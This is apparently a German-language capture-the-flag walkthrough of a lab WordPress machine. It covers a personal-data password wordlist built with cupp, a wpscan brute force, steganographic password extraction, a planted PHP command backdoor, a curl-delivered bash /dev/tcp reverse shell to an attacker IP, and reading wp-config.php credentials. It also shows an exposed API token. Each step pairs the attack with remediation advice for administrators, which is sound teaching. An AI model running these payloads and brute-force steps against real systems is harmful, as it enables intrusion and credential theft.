**Analyse:** Ich stoße erneut auf den Kommentar im Blogbeitrag "¡Hello world!", der die gleiche wichtige Information wie zuvor liefert: "Luna, remember to change your password... stop using personal information...". Obwohl dies eine Wiederholung im Berichtstext ist, dokumentiere ich sie, da solche Wiederholungen im realen Aufklärungsprozess vorkommen und die Wichtigkeit eines Hinweises unterstreichen können.

**Bewertung:** Die erneute Sichtung dieses Kommentars verstärkt den ursprünglichen Hinweis, dass das Passwort von "luna" wahrscheinlich auf persönlichen Informationen basiert. Dies bestätigt meine Strategie, ein gezieltes Wörterbuch für einen Brute-Force-Angriff zu erstellen.

**Empfehlung (Pentester):** Sei auf Wiederholungen oder ähnliche Hinweise im Aufklärungsprozess vorbereitet. Betrachte wiederkehrende Informationen als Bestätigung der Wichtigkeit dieses Hinweises.
**Empfehlung (Admin):** Überprüfe regelmäßig öffentlich zugängliche Inhalte (wie Kommentare, "Über uns"-Seiten) auf unbeabsichtigt preisgegebene Informationen. Schärfe das Bewusstsein der Benutzer für die Art von Informationen, die nicht öffentlich geteilt werden sollten.

http://192.168.2.40/wordpress/index.php/2023/06/08/hola-mundo/

One thought on “¡Hello world!”

    Admin says:	
    8 de June de 2023 at 15:34	

Luna, denken Sie daran, Ihr Passwort zu ändern, bevor Sie die Website hochladen,
und hören Sie auf, persönliche Informationen in Ihren Passwörtern zu verwenden.
Geben Sie sich etwas Mühe.

**Analyse:** Ich betrachte erneut den ursprünglichen Blogbeitrag, um zu sehen, ob ich weitere persönliche Informationen über den Benutzer "luna" finden kann, die mir bei der Erstellung eines Passwort-Wörterbuchs helfen könnten. Der Text erwähnt "My name is Luna Shine" und "Born on June 24, 1997".

**Bewertung:** Diese Informationen (voller Name und Geburtsdatum) sind perfekt geeignet, um ein gezieltes Wörterbuch zu erstellen. Sie bestätigen, dass "luna" tatsächlich "Luna Shine" ist und liefern das Geburtsdatum. Dies steht im Einklang mit dem Hinweis des "Admin" im Kommentar und bietet eine starke Grundlage für einen erfolgreichen Passwort-Angriff.

**Empfehlung (Pentester):** Nutze alle öffentlich zugänglichen persönlichen Informationen (OSINT - Open Source Intelligence) über die Zielperson(en), um gezielte Passwort-Wörterbücher zu erstellen. Soziale Medien, öffentliche Profile, Blogbeiträge – alles kann nützlich sein.
**Empfehlung (Admin):** Sensibilisiere Benutzer für die Risiken, zu viele persönliche Informationen öffentlich preiszugeben. Überlege, ob öffentlich zugängliche Profile wirklich vollständige Namen oder Geburtsdaten enthalten müssen, insbesondere wenn diese auch für Zugangsdaten verwendet werden könnten.

¡Hello world!
luna Jun 8, 2023 1 Comments

My name is Luna Shine, and I am thrilled to share my passion for fashion with all of you.
Born on June 24, 1997, I have dedicated my life to…

**Analyse:** Mit den gesammelten persönlichen Informationen über "Luna Shine" (Name, Geburtsdatum) nutze ich das Tool `cupp` (Common User Passwords Profiler), um ein maßgeschneidertes Passwort-Wörterbuch zu erstellen. Ich starte `cupp` mit der Option `-i` für den interaktiven Modus und gebe die gesammelten Informationen ein: First Name: `luna`, Surname: `shine`, Birthdate: `24061997`. Ich stimme auch der Frage zu, Sonderzeichen am Ende der Wörter hinzuzufügen (`Y`), da dies eine gängige Passwortpraxis ist. Die Ausgabe zeigt die Generierung und Speicherung des Wörterbuchs in der Datei `luna.txt`.

**Bewertung:** `cupp` ist ein sehr effektives Tool, um gezielte Wörterbücher basierend auf OSINT zu erstellen. Die erzeugte `luna.txt`-Datei enthält Tausende von potenziellen Passwörtern, die Kombinationen und Variationen der eingegebenen persönlichen Daten darstellen. Dies erhöht die Erfolgswahrscheinlichkeit eines Passwort-Angriffs erheblich im Vergleich zur Verwendung einer generischen Wörterliste wie `rockyou.txt`.

**Empfehlung (Pentester):** Investiere Zeit in OSINT und die Erstellung gezielter Wörterbücher. Tools wie `cupp` automatisieren diesen Prozess basierend auf den gefundenen Informationen.
**Empfehlung (Admin):** Sensibilisiere Benutzer eindringlich für die Risiken von Passwörtern, die auf persönlichen Informationen basieren. Implementiere Passwortkomplexitätsregeln, die solche einfachen Muster erschweren, aber nicht so komplex sind, dass Benutzer gezwungen sind, Passwörter aufzuschreiben.

┌──(root㉿CCat)-[~] └─# cupp -i
/usr/bin/cupp:146: SyntaxWarning: invalid escape sequence '\ '
  print("      \                     # User")
/usr/bin/cupp:147: SyntaxWarning: invalid escape sequence '\ '
  print("       \   \033[1;31m,__,\033[1;m             # Passwords")
/usr/bin/cupp:148: SyntaxWarning: invalid escape sequence '\ '
  print("        \  \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m         # Profiler")
/usr/bin/cupp:149: SyntaxWarning: invalid escape sequence '\ '
  print("           \033[1;31m(__)    )\ \033[1;m  ")
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | [Link: https://github.com/Mebus/ | Ziel: https://github.com/Mebus/]]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: luna
> Surname: shine
> Nickname:
> Birthdate (DDMMYYYY): 24061997


> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):


> Child's) name:
> Child's) nickname:
> Child's) birthdate (DDMMYYYY):


> Pet's) name:
> Company name:


> Do you want to add some key words about the victim? Y/[N]:
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]:

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to luna.txt, counting 5258 words.
[+] Now load your pistolero with luna.txt and shoot! Good luck!

**Analyse:** Jetzt, da ich ein gezieltes Wörterbuch (`luna.txt`) habe, starte ich einen automatisierten Brute-Force-Angriff auf die WordPress-Login-Seite (`wp-login.php`) mit `wpscan`. Ich verwende die Optionen `--url`, `--api-token`, `--usernames luna` um das Zielkonto festzulegen, und `--passwords luna.txt` um das mit `cupp` erstellte Wörterbuch zu verwenden.

**Bewertung:** Der `wpscan` Brute-Force-Angriff ist erfolgreich! Das Tool findet eine gültige Kombination aus Benutzername und Passwort: "luna" / "luna_1997". Dies ist der entscheidende Schritt zum initialen Zugriff auf die WordPress-Administrationsoberfläche. Das Passwort basiert direkt auf dem Namen und dem Geburtsjahr, genau wie der Admin im Kommentar befürchtet hatte. Dies unterstreicht die Effektivität gezielter Passwort-Wörterbücher, wenn persönliche Informationen verfügbar sind.

**Empfehlung (Pentester):** Nutze automatisierte Brute-Force-Tools wie `wpscan` mit gezielten Wörterbüchern, um Zugangsdaten für Webanwendungen zu finden. Kombiniere OSINT mit spezialisierten Tools für die höchste Erfolgsquote.
**Empfehlung (Admin):** Implementiere eine starke Passwortrichtlinie, die Länge, Komplexität und das Verbot der Nutzung persönlicher Informationen vorschreibt. Erzwinge regelmäßige Passwortänderungen. Implementiere Multi-Faktor-Authentifizierung (MFA), um auch bei kompromittierten Passwörtern eine zusätzliche Sicherheitsebene zu bieten. Nutze Log-Monitoring, um Brute-Force-Versuche zu erkennen und zu blockieren.

┌──(root㉿CCat)-[~] └─# wpscan --url http://influencer.hmv/wordpress --api-token RoBoAaM72LLsihOlqUJrA1EleT6AJAd9QxQ9rbmQNCY --usernames luna --passwords luna.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - [Link: https://automattic.com/ | Ziel: https://automattic.com/]
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://influencer.hmv/wordpress/ [192.168.2.40]
[+] Started: Thu Jun 12 23:07:05 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.52 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://influencer.hmv/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - [Link: http://codex.wordpress.org/XML-RPC_Pingback_API | Ziel: http://codex.wordpress.org/XML-RPC_Pingback_API]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/]
 |  - [Link: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ | Ziel: https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/]

[+] WordPress readme found: http://influencer.hmv/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://influencer.hmv/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://influencer.hmv/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - [Link: https://www.iplocation.net/defend-wordpress-from-ddos | Ziel: https://www.iplocation.net/defend-wordpress-from-ddos]
 |  - [Link: https://github.com/wpscanteam/wpscan/issues/1299 | Ziel: https://github.com/wpscanteam/wpscan/issues/1299]

[+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://influencer.hmv/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://influencer.hmv/wordpress/, Match: 'WordPress 6.8.1'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <===============> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - luna / luna_1997
Trying luna / luna_1997 Time: 00:00:39 <=======          > (4295 / 9553) 44.95%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: luna, Password: luna_1997 <-- GEFUNDEN!

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 0
 | Requests Remaining: 22

[+] Finished: Thu Jun 12 23:07:48 2025
[+] Requests Done: 4436
[+] Cached Requests: 32
[+] Data Sent: 1.558 MB
[+] Data Received: 28.52 MB
[+] Memory used: 303.184 MB
[+] Elapsed time: 00:00:42

**Analyse:** Ich wende mich nun den heruntergeladenen JPG-Dateien zu, da Bilder manchmal versteckte Daten enthalten können (Steganografie). Ich verwende das Tool `stegseek`, das speziell für die schnelle Suche nach versteckten Daten in Bildern unter Verwendung einer Passwort-Liste optimiert ist. Ich verwende `stegseek` auf der Datei `snapchat.jpg` und übergebe die weltweit größte Passwort-Liste, `rockyou.txt`, als Wörterbuch.

**Bewertung:** Fantastisch! `stegseek` findet eine versteckte Datei in `snapchat.jpg`. Die Ausgabe zeigt nicht nur die gefundene Passphrase (die in diesem Fall leer war, was bedeutet, dass kein Passwort zum Entschlüsseln der versteckten Daten benötigt wurde), sondern auch den Originalnamen der versteckten Datei: "backup.txt". Dies ist ein weiterer kritischer Fund, der auf zusätzliche Zugangsdaten oder sensitive Informationen hindeutet.

**Empfehlung (Pentester):** Prüfe Bilder oder andere Medien-Dateien, die du bei der Aufklärung findest, immer auf versteckte Daten (Steganografie). Nutze spezialisierte Tools wie `stegseek`. Habe eine Sammlung großer Passwortlisten für solche Prüfungen bereit.
**Empfehlung (Admin):** Sensibilisiere Benutzer für die Gefahren der Speicherung sensibler Daten in Medien-Dateien. Implementiere Richtlinien zur Datenspeicherung und -klassifizierung. Führe regelmäßige Überprüfungen auf ungewöhnliche oder versteckte Dateien durch.

┌──(root㉿CCat)-[~/influencer/192.168.2.40:2121] └─# stegseek snapchat.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - [Link: https://github.com/RickdeJager/StegSeek | Ziel: https://github.com/RickdeJager/StegSeek]

[i] Found passphrase: ""
[i] Original filename: "backup.txt".
[i] Extracting to "snapchat.jpg.out".

**Analyse:** Nachdem `stegseek` die versteckten Daten extrahiert und als `snapchat.jpg.out` gespeichert hat, zeige ich den Inhalt dieser neuen Datei mit `cat` an.

**Bewertung:** Der Inhalt von `snapchat.jpg.out` ist als "PASSWORD BACKUP" gekennzeichnet und enthält die Zeichenkette "u3jkeg97gf". Dies ist ein weiteres klares Passwort im Klartext! Die Benennung als "PASSWORD BACKUP" deutet darauf hin, dass es sich um ein Passwort für ein anderes Konto oder einen Dienst handeln könnte. Die Tatsache, dass es unverschlüsselt in einer versteckten Datei innerhalb eines öffentlich zugänglichen FTP-Verzeichnisses gespeichert war, ist eine schwerwiegende Sicherheitslücke.

**Empfehlung (Pentester):** Untersuche extrahierte Daten aus Steganografie sofort. Behandle gefundene Passwörter als hochkritisch und versuche, sie für andere Dienste oder Benutzerkonten zu verwenden.
**Empfehlung (Admin):** Speichere niemals Passwörter oder Zugangsdaten im Klartext, insbesondere nicht in Dateien, die potenziell zugänglich sind (selbst wenn sie versteckt sind). Nutze sichere Passwortmanager. Entferne unnötige Dateien von öffentlich zugänglichen Servern.

┌──(root㉿CCat)-[~/influencer/192.168.2.40:2121] └─# cat snapchat.jpg.out
PASSWORD BACKUP
---------------

u3jkeg97gf <-- Passwort gefunden!

**Analyse:** Mit den Zugangsdaten für "luna" (`luna_1997` für WordPress) und dem neu gefundenen Passwort "u3jkeg97gf" erkunde ich die WordPress-Administrationsoberfläche. Ich suche nach Möglichkeiten, Code auszuführen oder eine Shell zu erhalten. Eine häufige Methode in WordPress ist die Bearbeitung von Theme-Dateien über das Admin-Panel (Aussehen > Theme-Datei-Editor). Ich navigiere zum Theme "BlogArise" (auch wenn es als "inactive" gekennzeichnet ist) und suche nach einer Datei, die sich für die Code-Einfügung eignet, wie z.B. `404.php`. Ich finde dort die Zeile `< scrpt > system($GET["cmd"]); < /scrpt >`.

**Bewertung:** Das Auffinden der Zeile `< scrpt > system($GET["cmd"]); < /scrpt >` im Theme-Editor ist der Durchbruch für den initialen Shell-Zugriff! Dies ist eine extrem gefährliche Backdoor, die es erlaubt, beliebige Systembefehle über einen `$GET`-Parameter in der URL auszuführen. Das bedeutet, dass jede Person, die diese spezifische URL aufrufen kann, Befehle auf dem Server ausführen kann, und das wahrscheinlich mit den Berechtigungen des Webservers (typischerweise `www-data`).

**Empfehlung (Pentester):** Nach dem Erhalt von Admin-Zugriff auf CMS immer nach Möglichkeiten zur Code-Ausführung suchen (Theme/Plugin-Editoren, Dateiuploads, bekannte Schwachstellen). Suche nach offensichtlichen Backdoors in den Dateien.
**Empfehlung (Admin):** Deaktiviere den Theme- und Plugin-Datei-Editor in WordPress (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Überprüfe Theme- und Plugin-Dateien regelmäßig auf unerwünschten Code. Implementiere eine Web Application Firewall (WAF), die versucht, das Ausführen von Systembefehlen über URL-Parameter zu blockieren. Führe Code-Reviews durch, um Backdoors zu erkennen.

Edit Themes
Editing BlogArise (inactive)
File: 404.php
Select theme to edit:

Theme Files


Selected file content:

< scrpt > system($GET["cmd"]); < /scrpt > <-- KRITISCHE BACKDOOR!
/**
 ...
..

Initial Access

**Analyse:** Nachdem die kritische Backdoor in der Datei `404.php` des "BlogArise"-Themes identifiziert wurde, teste ich die Befehlsausführung. Ich konstruiere eine URL, die auf die Datei `404.php` im Theme-Verzeichnis zugreift und füge den `$GET`-Parameter `cmd` mit dem Wert `id` an. Das `curl`-Tool wird verwendet, um diese URL aufzurufen. Die erwartete Ausgabe des `id`-Befehls sollte die Benutzer- und Gruppen-IDs des ausführenden Prozesses anzeigen.

**Bewertung:** Fantastisch! Die Ausgabe zeigt `uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Dies bestätigt, dass die Backdoor funktioniert und ich beliebige Befehle auf dem Zielsystem mit den Berechtigungen des Webserver-Benutzers `www-data` ausführen kann. Dies ist ein entscheidender Schritt: Ich habe jetzt Remote Code Execution (RCE) als `www-data`.

**Empfehlung (Pentester):** Teste gefundene Code-Ausführungs-Schwachstellen immer zuerst mit harmlosen Befehlen (wie `id`, `whoami`, `hostname`), um die Funktionalität und die Berechtigungen zu überprüfen.
**Empfehlung (Admin):** Untersuche sofort die Webserver-Konfiguration und die Webanwendungsdateien auf Backdoors oder ungewollten Code. Trenne den Webserver-Benutzer (`www-data`) konsequent von anderen Systembenutzern und schränke seine Berechtigungen stark ein, um den potenziellen Schaden einer Kompromittierung zu minimieren.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.40/wordpress/wp-content/themes/blogarise/404.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Proof of Concept: Remote Code Execution & Initial Shell Access

**Kurzbeschreibung:** Dieser Proof of Concept demonstriert die Ausnutzung einer kritischen Remote Code Execution (RCE)-Schwachstelle, die in einer manipulierten Theme-Datei (`404.php` des BlogArise-Themes) auf der Ziel-WordPress-Installation gefunden wurde. Durch das Senden eines speziell präparierten `$GET`-Parameters kann beliebiger Systemcode auf dem Server ausgeführt werden, was zu einem initialen Shell-Zugriff als Benutzer `www-data` führt.

**Voraussetzungen:**

  • Zugriff auf das Netzwerk, in dem sich das Zielsystem (192.168.2.40) befindet.
  • Ein Angreifer-System (z.B. Kali Linux) im selben Netzwerk.
  • Bekanntheit der anfälligen URL: `http://192.168.2.40/wordpress/wp-content/themes/blogarise/404.php`
  • Ein Tool zum Senden von HTTP-Anfragen (z.B. `curl`, Browser).
  • Ein Listener-Tool auf dem Angreifer-System (z.B. `netcat`, `nc`) zum Empfangen einer Reverse Shell.
  • Die Backdoor im 404.php Theme File muss vorhanden sein (`< scrpt > system($GET["cmd"]); < /scrpt >`). *Hinweis: Wie diese Backdoor ursprünglich dort platziert wurde, wird in diesem POC nicht behandelt, nur die Ausnutzung der vorhandenen Schwachstelle.*

**Schritt-für-Schritt-Anleitung zur Ausnutzung:**

  1. **Identifizierung der Schwachstelle:** Bei der Code-Überprüfung (oder durch automatisierte Scans) wurde die Backdoor in der Datei `404.php` des BlogArise-Themes gefunden, die unzureichende Validierung des `$GET`-Parameters `cmd` aufweist.
  2. **Vorbereitung des Listeners:** Auf dem Angreifer-System wird ein Netcat-Listener gestartet, der auf eingehende Reverse-Shell-Verbindungen auf einem bestimmten Port wartet (hier Port 4444).
  3. **Konstruktion der Exploit-URL:** Eine URL wird erstellt, die auf die anfällige `404.php` Datei verweist und den `cmd`-Parameter verwendet, um einen Befehl zur Initiierung einer Reverse Shell an das Angreifer-System zu übergeben. Hier wird ein klassischer Bash-Reverse-Shell-Payload verwendet.
  4. **Ausführung des Exploits:** Die konstruierte URL wird mittels `curl` (oder einem Browser-Aufruf) aufgerufen. Dies führt zur Ausführung des Payloads auf dem Zielsystem durch den Webserver-Prozess.
  5. **Empfang der Shell:** Der Netcat-Listener auf dem Angreifer-System empfängt die eingehende Verbindung vom Zielsystem und gewährt eine Shell-Sitzung mit den Berechtigungen des `www-data`-Benutzers.

**Erwartetes Ergebnis:** Nachdem die Exploit-URL aufgerufen wurde und der Listener auf dem Angreifer-System läuft, sollte auf dem Listener eine eingehende Verbindung vom Zielsystem (192.168.2.40) empfangen werden. Dies resultiert in einer interaktiven Kommandozeilen-Shell auf dem Zielsystem, die unter dem Benutzer `www-data` ausgeführt wird.

**Beweismittel:** Die folgenden Code-Blöcke zeigen den Befehl zum Starten des Listeners auf dem Angreifer-System (`nc -lvnp 4444`), den `curl`-Befehl zur Ausführung der Reverse Shell über die RCE-Schwachstelle, sowie die Ausgabe des Listeners, die die eingehende Verbindung und die erlangte `www-data`-Shell demonstriert.

**Risikobewertung:** Diese Schwachstelle hat ein **kritisches** Risiko. Die unauthentifizierte Remote Code Execution ermöglicht einem Angreifer die vollständige Kontrolle über den Webserver, das Lesen und Schreiben von Dateien, den Zugriff auf die Datenbank und die Nutzung des Servers als Basis für weitere Angriffe im internen Netzwerk. Da der Webserver-Benutzer (`www-data`) oft Zugriff auf wichtige Anwendungsdaten (wie die WordPress-Datenbank mit Benutzer-Hashes) hat, ist die Kompromittierung weitreichend.

**Empfehlung zur Behebung der Schwachstelle (Admin):**

  • **Entferne den bösartigen Code:** Die Zeile `< scrpt > system($GET["cmd"]); < /scrpt >` muss umgehend aus der Datei `404.php` und allen anderen betroffenen Dateien entfernt werden.
  • **Überprüfe alle Theme- und Plugin-Dateien:** Eine gründliche Überprüfung aller angepassten oder installierten Themes und Plugins ist notwendig, um sicherzustellen, dass keine weiteren Backdoors vorhanden sind.
  • **Beschränke Dateibearbeitung:** Deaktiviere den Theme- und Plugin-Datei-Editor in WordPress durch Hinzufügen von `define('DISALLOW_FILE_EDIT', true);` zur `wp-config.php`.
  • **Implementiere Input-Validierung:** Wenn die `404.php` tatsächlich benutzereingaben verarbeiten muss (was unwahrscheinlich ist), muss jede Eingabe streng validiert und sanitisiert werden, um Command Injection zu verhindern.
  • **Sichere Dateiberechtigungen:** Stelle sicher, dass nur benötigte Benutzer Schreibzugriff auf Webserver-Dateien haben.
  • **Setze den Server neu auf oder bereinige ihn professionell:** Angesichts einer Backdoor ist die sicherste Option oft, den Server von Grund auf neu aufzusetzen oder eine tiefgreifende Bereinigung durch Sicherheitsexperten durchführen zu lassen, da nicht garantiert werden kann, dass alle Kompromittierungsspuren beseitigt wurden.
**Empfehlung zur Verhinderung zukünftiger Angriffe (Admin):**
  • Implementiere regelmäßige Sicherheitsaudits und Code-Reviews.
  • Nutze eine Web Application Firewall (WAF).
  • Halte alle Software (Betriebssystem, Webserver, PHP, WordPress, Plugins, Themes) aktuell.
  • Überwache die Server-Logs auf verdächtige Anfragen (z.B. URLs mit Command-Injection-Mustern).

**Analyse:** Um die Remote Code Execution-Schwachstelle auszunutzen und eine interaktive Shell zu erhalten, starte ich zunächst auf meinem Angreifer-System einen Netcat-Listener. Ich verwende den Befehl `nc -lvnp 4444`. Die Optionen bedeuten: `-l` (listen mode), `-v` (verbose output), `-n` (numerische Adressen, kein DNS-Lookup), `-p 4444` (Port 4444, auf dem der Listener wartet).

**Bewertung:** Das Einrichten eines Listeners ist ein notwendiger Schritt, um eine Reverse Shell zu empfangen. Netcat ist ein einfaches, aber effektives Werkzeug dafür. Die Ausgabe `listening on [any] 4444 ...` zeigt an, dass der Listener erfolgreich gestartet wurde und bereit ist, eine eingehende Verbindung vom Zielsystem zu akzeptieren.

**Empfehlung (Pentester):** Wähle einen nicht standardmäßigen Port für deinen Listener, um die Entdeckung durch einfache Netzwerküberwachung zu erschweren. Stelle sicher, dass keine Firewall den Port auf deinem System blockiert.
**Empfehlung (Admin):** Überwache ausgehende Verbindungen von internen Systemen, insbesondere von Webservern (`www-data`). Ungewöhnliche ausgehende Verbindungen zu unerwarteten Zielen oder Ports (wie 4444) können auf eine kompromittierte Maschine oder eine aktive Reverse Shell hindeuten. Nutze Egress-Filterung, um ausgehenden Datenverkehr zu kontrollieren.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...

**Analyse:** Jetzt sende ich den eigentlichen Exploit-Befehl, um die Reverse Shell zu initiieren. Ich verwende wieder `curl`, um die anfällige `404.php` Datei über HTTP aufzurufen. Diesmal übergebe ich an den `$GET`-Parameter `cmd` einen URL-kodierten Bash-Reverse-Shell-Payload: `%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27`. Dieser Payload weist die Zielmaschine an, eine interaktive Bash-Shell zu starten und ihre Standard-Ein-/Ausgabe über TCP an meine IP-Adresse (192.168.2.199) und den Listener-Port (4444) umzuleiten.

**Bewertung:** Dieser Befehl ist der Auslöser für den Initial Access. Durch die Ausnutzung der RCE-Schwachstelle wird die Reverse Shell auf dem Zielsystem ausgeführt. Wenn der Listener auf meinem System korrekt wartet, sollte jetzt die Verbindung ankommen. Die Verwendung von URL-Kodierung ist notwendig, da Sonderzeichen in URLs sonst falsch interpretiert würden.

**Empfehlung (Pentester):** Habe eine Sammlung von Reverse-Shell-Payloads für verschiedene Systeme und Sprachen bereit. URL-kodiere Payloads, wenn sie über HTTP-Parameter übermittelt werden.
**Empfehlung (Admin):** Überwache Server-Logs auf ungewöhnliche URLs mit langen oder URL-kodierten Parametern, die Command-Injection-Muster enthalten. Nutze eine WAF, um solche Anfragen zu blockieren.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.40/wordpress/wp-content/themes/blogarise/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
 
                

**Analyse:** Parallel zur Ausführung des `curl`-Befehls auf meinem Angreifer-System (der in der letzten Analyse beschrieben wurde) warte ich auf meinem Netcat-Listener auf die eingehende Verbindung. Dieser Block zeigt die Ausgabe des Netcat-Listeners, nachdem der Reverse-Shell-Payload erfolgreich auf dem Ziel ausgeführt wurde und eine Verbindung zu meinem Listener hergestellt hat. Die ersten Zeilen bestätigen die eingehende Verbindung. Die folgenden Zeilen ("bash: cannot set terminal process group...", "bash: no job control...") sind typische Meldungen beim Empfang einer eingeschränkten Pseudo-Terminal-Shell über Netcat und deuten nicht auf einen Fehler hin. Die letzte Zeile, die den Prompt `www-data@influencer:/var/www/html/wordpress/wp-content/themes/blogarise$` zeigt, ist der Beweis: Ich habe eine Shell auf dem Zielsystem erhalten!

**Bewertung:** Fantastisch, der initiale Zugriff war erfolgreich! Ich habe jetzt eine Kommandozeilen-Shell auf dem Zielsystem als der Benutzer `www-data`. Dies ist ein kritischer Meilenstein im Pentest. Von hier aus kann ich das Dateisystem erkunden, nach weiteren Informationen (wie Zugangsdaten in Konfigurationsdateien) suchen und mit den Schritten zur Privilege Escalation beginnen. Die Shell-Berechtigungen (`www-data`) sind zwar eingeschränkt, aber ausreichend, um die Webanwendung und möglicherweise andere Bereiche des Systems zu untersuchen.

**Empfehlung (Pentester):** Nach Erhalt einer Shell sofort die Identität (`whoami`, `id`), die Umgebung (`pwd`, `env`), die Systeminformationen (`uname -a`, `/etc/os-release`) und die Netzwerkverbindungen (`ss -tulnp`, `netstat -tulpn`) prüfen. Beginne die Suche nach wichtigen Konfigurationsdateien (z.B. `wp-config.php`, Datenbank-Credentials).
**Empfehlung (Admin):** Die Kompromittierung des `www-data`-Kontos ist erfolgt. Untersuche die Logs des Webservers und des Systems, um den Angriffsvektor (die RCE in `404.php`) zu bestätigen. Deaktiviere den betroffenen Dienst oder die Anwendung sofort und führe die unter "Proof of Concept" genannten Empfehlungen zur Behebung der RCE-Schwachstelle durch. Trenne den `www-data`-Benutzer strikt von anderen Systembenutzern und ihren Daten durch Berechtigungen und Isolationstechniken.

┌──(root㉿CCat)-[~/influencer/192.168.2.40:2121] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.40] 35196
bash: cannot set terminal process group (783): Inappropriate ioctl for device
bash: no job control in this shell
www-data@influencer:/var/www/html/wordpress/wp-content/themes/blogarise$ <-- Shell as www-data erlangt!

Privilege Escalation

**Analyse:** Nachdem ich die initiale Shell als Benutzer `www-data` über die Remote Code Execution erlangt habe, ist mein nächstes Ziel, meine Berechtigungen auf dem System zu erhöhen (Privilege Escalation). Ein wichtiger erster Schritt ist die Suche nach Zugangsdaten in Konfigurationsdateien, insbesondere der WordPress-Konfigurationsdatei `wp-config.php`, da diese oft Datenbank-Zugangsdaten enthält, die für weitere Schritte nützlich sein können. Ich nutze den `cat`-Befehl, um den Inhalt der Datei anzuzeigen.

**Bewertung:** Der Inhalt der `wp-config.php`-Datei enthält die Datenbank-Zugangsdaten im Klartext: `DB_NAME`, `DB_USER` und `DB_PASSWORD`. Das Passwort `s3cret` für den Benutzer `www-data` zur Datenbank `wordpressdb` ist ein kritischer Fund. Obwohl ich bereits als `www-data` auf dem System bin, kann dieses Passwort für andere Dienste oder für den direkten Zugriff auf die Datenbank verwendet werden, was eine weitere Angriffsfläche eröffnet und sensible Daten zugänglich macht.

**Empfehlung (Pentester):** Durchsuche immer gängige Konfigurationsdateien nach Zugangsdaten. Priorisiere Datenbank-, Anwendungs- oder API-Schlüssel. Nutze gefundene Zugangsdaten, um dich bei anderen Diensten auf dem Zielsystem oder anderen Systemen im Netzwerk anzumelden.
**Empfehlung (Admin):** Speichere niemals Zugangsdaten im Klartext in Konfigurationsdateien. Nutze, wenn möglich, Umgebungs variablen oder sicherere Mechanismen zur Speicherung von Geheimnissen. Schränke den Dateizugriff auf Konfigurationsdateien stark ein, sodass nur der benötigte Dienst oder Benutzer sie lesen kann. Trenne Datenbank-Benutzerberechtigungen streng nach dem Prinzip der geringsten Rechte.

www-data@influencer:/var/www/html/wordpress$ cat wp-config.php
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpressdb' );

/** Database username */
define( 'DB_USER', 'www-data' );

/** Database password */
define( 'DB_PASSWORD', 's3cret' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
